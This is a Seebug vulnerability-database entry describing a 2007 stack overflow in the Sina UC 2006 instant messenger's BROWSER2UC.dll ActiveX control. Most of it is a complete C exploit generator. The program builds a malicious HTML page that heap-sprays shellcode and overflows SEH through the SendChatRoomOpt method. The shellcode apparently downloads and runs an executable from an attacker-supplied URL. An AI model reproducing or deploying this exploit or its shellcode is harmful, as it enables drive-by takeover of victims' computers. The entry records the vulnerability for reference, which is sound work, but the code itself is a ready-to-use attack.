Lucene search

K
seebugRootSSV:1151
HistoryJan 10, 2007 - 12:00 a.m.

Sina UC 2006 Activex SendChatRoomOpt Exploit

2007-01-1000:00:00
Root
www.seebug.org
33

新浪UC是中国非常流行的IM工具之一

http://www.51uc.com
漏洞的起因是Sina UC的多个ActiveX控件的参数缺乏必要的验证,攻击者构造恶意网页,可以远程完全控制安装了Sina UC
的用户的计算机,

多个控件存在栈溢出问题,包括但不限于:

  1. clsid:77AE4780-75E0-4CB0-A162-D1BBE3D50384
    C:\Program Files\sina\UC\ActiveX\BROWSER2UC.dll

Sub SendChatRoomOpt (
ByVal astrVerion As String ,
ByVal astrUserID As String ,
ByVal asDataType As Integer ,
ByVal alTypeID As Long

当第1个参数是一个超常字符串时,发生栈溢出,SEH被覆盖,攻击者可以执行任意代码
Code by 云舒 & LuoLuo,ph4nt0morg

Sina UC <=UC2006
暂无


                                                //////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 新浪UC ActiveX多个远程栈溢出漏洞
//  
// Sowhat of  Nevis Labs
// 日期: 2007.01.09
//
// http://www.nevisnetworks.com
// http://secway.org/advisory/20070109EN.txt
// http://secway.org/advisory/20070109CN.txt
//
// CVE:    暂无
//
// 厂商
//
// Sina Inc.
//
// 受影响的版本:
// Sina UC &lt;=UC2006
//  
// Overview:
// 新浪UC是中国非常流行的IM工具之一
//
// http://www.51uc.com
//
// 细节:
//
// 漏洞的起因是Sina UC的多个ActiveX控件的参数缺乏必要的验证,攻击者构造恶意网页,可以远程完全控制安装了Sina UC
// 的用户的计算机,
//
// 多个控件存在栈溢出问题,包括但不限于:
//
// 1. clsid:77AE4780-75E0-4CB0-A162-D1BBE3D50384
// C:\Program Files\sina\UC\ActiveX\BROWSER2UC.dll
//
// Sub SendChatRoomOpt (
//     ByVal astrVerion  As String ,
//     ByVal astrUserID  As String ,
//     ByVal asDataType  As Integer ,
//     ByVal alTypeID  As Long
// )
//
// 当第1个参数是一个超常字符串时,发生栈溢出,SEH被覆盖,攻击者可以执行任意代码
//////////////////////////////////////////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Sina UC 2006 Activex SendChatRoomOpt Exploit
// Code by 云舒 &amp; LuoLuo,ph4nt0morg
//////////////////////////////////////////////////////////////////////////////////////////////////////////////

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;windows.h&gt;
#include &lt;string.h&gt;

FILE *fp = NULL;
char *file = &quot;fuck_uc.html&quot;;
char *url = NULL;

unsigned char sc[] =    
&quot;\x60\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x70&quot;
&quot;\x08\x81\xec\x00\x04\x00\x00\x8b\xec\x56\x68\x8e\x4e\x0e\xec\xe8&quot;
&quot;\xff\x00\x00\x00\x89\x45\x04\x56\x68\x98\xfe\x8a\x0e\xe8\xf1\x00&quot;
&quot;\x00\x00\x89\x45\x08\x56\x68\x25\xb0\xff\xc2\xe8\xe3\x00\x00\x00&quot;
&quot;\x89\x45\x0c\x56\x68\xef\xce\xe0\x60\xe8\xd5\x00\x00\x00\x89\x45&quot;
&quot;\x10\x56\x68\xc1\x79\xe5\xb8\xe8\xc7\x00\x00\x00\x89\x45\x14\x40&quot;
&quot;\x80\x38\xc3\x75\xfa\x89\x45\x18\xe9\x08\x01\x00\x00\x5e\x89\x75&quot;
&quot;\x24\x8b\x45\x04\x6a\x01\x59\x8b\x55\x18\x56\xe8\x8c\x00\x00\x00&quot;
&quot;\x50\x68\x36\x1a\x2f\x70\xe8\x98\x00\x00\x00\x89\x45\x1c\x8b\xc5&quot;
&quot;\x83\xc0\x50\x89\x45\x20\x68\xff\x00\x00\x00\x50\x8b\x45\x14\x6a&quot;
&quot;\x02\x59\x8b\x55\x18\xe8\x62\x00\x00\x00\x03\x45\x20\xc7\x00\x5c&quot;
&quot;\x7e\x2e\x65\xc7\x40\x04\x78\x65\x00\x00\xff\x75\x20\x8b\x45\x0c&quot;
&quot;\x6a\x01\x59\x8b\x55\x18\xe8\x41\x00\x00\x00\x6a\x07\x58\x03\x45&quot;
&quot;\x24\x33\xdb\x53\x53\xff\x75\x20\x50\x53\x8b\x45\x1c\x6a\x05\x59&quot;
&quot;\x8b\x55\x18\xe8\x24\x00\x00\x00\x6a\x00\xff\x75\x20\x8b\x45\x08&quot;
&quot;\x6a\x02\x59\x8b\x55\x18\xe8\x11\x00\x00\x00\x81\xc4\x00\x04\x00&quot;
&quot;\x00\x61\x81\xc4\xdc\x04\x00\x00\x5d\xc2\x24\x00\x41\x5b\x52\x03&quot;
&quot;\xe1\x03\xe1\x03\xe1\x03\xe1\x83\xec\x04\x5a\x53\x8b\xda\xe2\xf7&quot;
&quot;\x52\xff\xe0\x55\x8b\xec\x8b\x7d\x08\x8b\x5d\x0c\x56\x8b\x73\x3c&quot;
&quot;\x8b\x74\x1e\x78\x03\xf3\x56\x8b\x76\x20\x03\xf3\x33\xc9\x49\x41&quot;
&quot;\xad\x03\xc3\x56\x33\xf6\x0f\xbe\x10\x3a\xf2\x74\x08\xc1\xce\x0d&quot;
&quot;\x03\xf2\x40\xeb\xf1\x3b\xfe\x5e\x75\xe5\x5a\x8b\xeb\x8b\x5a\x24&quot;
&quot;\x03\xdd\x66\x8b\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5&quot;
&quot;\x5e\x5d\xc2\x08\x00\xe8\xf3\xfe\xff\xff\x55\x52\x4c\x4d\x4f\x4e&quot;
&quot;\x00&quot;;

char * header =
&quot;&lt;!--\n&quot;
&quot;clsid:77AE4780-75E0-4CB0-A162-D1BBE3D50384\n&quot;
&quot;C:\Program Files\sina\UC\ActiveX\BROWSER2UC.dll\n\n&quot;

&quot;Sub SendChatRoomOpt (\n&quot;
&quot;    ByVal astrVerion  As String ,\n&quot;
&quot;    ByVal astrUserID  As String ,\n&quot;
&quot;    ByVal asDataType  As Integer ,\n&quot;
&quot;    ByVal alTypeID  As Long\n&quot;
&quot;)\n\n&quot;
&quot;ph4nt0m.org, Code By 云舒 &amp; LuoLuo\n&quot;
&quot;!--&gt;\n\n&quot;
&quot;&lt;html&gt;\n&quot;
&quot;&lt;head&gt;\n&quot;
&quot;&lt;script language=\&quot;javascript\&quot;&gt;\n&quot;
&quot;var heapSprayToAddress = 0x0c0c0c0c;\n&quot;
&quot;var shellcode = unescape(\&quot;%u9090\&quot;+\&quot;%u9090\&quot;+ \n&quot;;

char * footer =
&quot;\n&quot;
&quot;var heapBlockSize = 0x100000;\n&quot;
&quot;var payLoadSize = shellcode.length * 2;\n&quot;
&quot;var spraySlideSize = heapBlockSize - (payLoadSize+0x38);\n&quot;
&quot;var spraySlide = unescape(\&quot;%u9090%u9090\&quot;);\n\n&quot;
&quot;spraySlide = getSpraySlide(spraySlide,spraySlideSize);\n&quot;
&quot;heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;\n&quot;
&quot;memory = new Array();\n\n&quot;
&quot;for (i=0;i&lt;heapBlocks;i++)\n{\n&quot;
&quot;\t\tmemory = spraySlide + shellcode;\n}\n&quot;

&quot;function getSpraySlide(spraySlide, spraySlideSize)\n{\n\t&quot;
&quot;while (spraySlide.length*2&lt;spraySlideSize)\n\t&quot;
&quot;{\n\t\tspraySlide += spraySlide;\n\t}\n&quot;
&quot;\tspraySlide = spraySlide.substring(0,spraySlideSize/2);\n\treturn spraySlide;\n}\n\n&quot;;

// print unicode shellcode
void PrintPayLoad(char *lpBuff, int buffsize)
{
    int i;
    for(i=0;i &lt; buffsize;i+=2)
    {
        if((i%16)==0)
        {
            if(i!=0)
            {
                fprintf(fp, &quot;%s&quot;, &quot;\&quot; +\n\&quot;&quot;);
            }
            else
            {
                fprintf(fp, &quot;%s&quot;, &quot;\&quot;&quot;);
            }
        }
        fprintf(fp, &quot;%%u%0.4x&quot;,((unsigned short*)lpBuff)[i/2]);
    }
    //把shellcode打印在header后面,然后用 &quot; ) &quot; 闭合
    fprintf(fp, &quot;%s&quot;, &quot;\&quot;);\n&quot;);  
}


int main( int argc, char *argv[] )
{
    if( argc != 3 )
    {
        printf( &quot;\nUC ActiveX object exp,Code by 云舒 &amp; LuoLuo,ph4nt0morg\n&quot; );
        printf( &quot;Usage: %s   &lt;url&gt;   &lt;os&gt;\n&quot;, argv[0] );
        printf( &quot;      1     Windows XP SP2 Chinese version,IE 6\n&quot; );
        printf( &quot;      2     Windows 2003 standard SP1 Chinese Version, IE 6\n&quot; );
        
        return -1;
    }
    
    char    seh[1024] = { 0 };
    int        os = atoi( argv[2] );
    int        len = 0;
    
    if( os == 1 )
    {
        len = 3133;
    }
    else if( os == 2 )
    {
        len = 3193;
    }
    
    sprintf( seh , &quot;var obj = new ActiveXObject(\&quot;BROWSER2UC.BROWSERToUC\&quot;);\n\tvar arg1;\n\n&lt;!-- Windows2003 standard SP1 + IE6 此处覆盖长度i为3193 --&gt;\n&lt;!-- Windows XP SP2 + IE6 此处覆盖长度i为3133 --&gt;\n\nfor( var i = 0; i &lt; %d; i ++ )\n{\targ1 += \&quot;A\&quot;;\n}arg1=arg1 + unescape(\&quot;%%0c%%0c%%0c%%0c\&quot;);\narg2=\&quot;defaultV\&quot;;\narg3=1;\narg4=1;\nobj.SendChatRoomOpt(arg1 ,arg2 ,arg3 ,arg4);\n&lt;/script&gt;\n&lt;/head&gt;\n&lt;/html&gt;&quot;, len );
    
    url = argv[1];
    if( (!strstr(url, &quot;http://&quot;) &amp;&amp;  !strstr(url, &quot;ftp://&quot;)) || strlen(url) &lt; 10)
    {
        printf(&quot;[-] Invalid url. Must start with 'http://','ftp://'\n&quot;);
        return -1;                
    }

    printf(&quot;[+] download url:%s\n&quot;, url);

    fp = fopen( file , &quot;w&quot; );
    if( fp == NULL )
    {
        printf( &quot;Create file error: %d\n&quot;, GetLastError() );
        return -1;
    }
    fprintf( fp, &quot;%s&quot;, header );
    fflush( fp );
    
    char    buffer[4096] = { 0 };
    int        sc_len = sizeof(sc)-1;
    memcpy(buffer, sc, sc_len);
    memcpy(buffer+sc_len, url, strlen(url));
  
    sc_len += strlen(url)+1;
    PrintPayLoad((char *)buffer, sc_len);
    fflush( fp );
    
    fprintf( fp, &quot;%s&quot;, footer );
    fprintf( fp, &quot;%s&quot;, seh );
    
    fflush( fp );
    fclose( fp );

    printf( &quot;Create done!please look %s\n&quot;, file );
}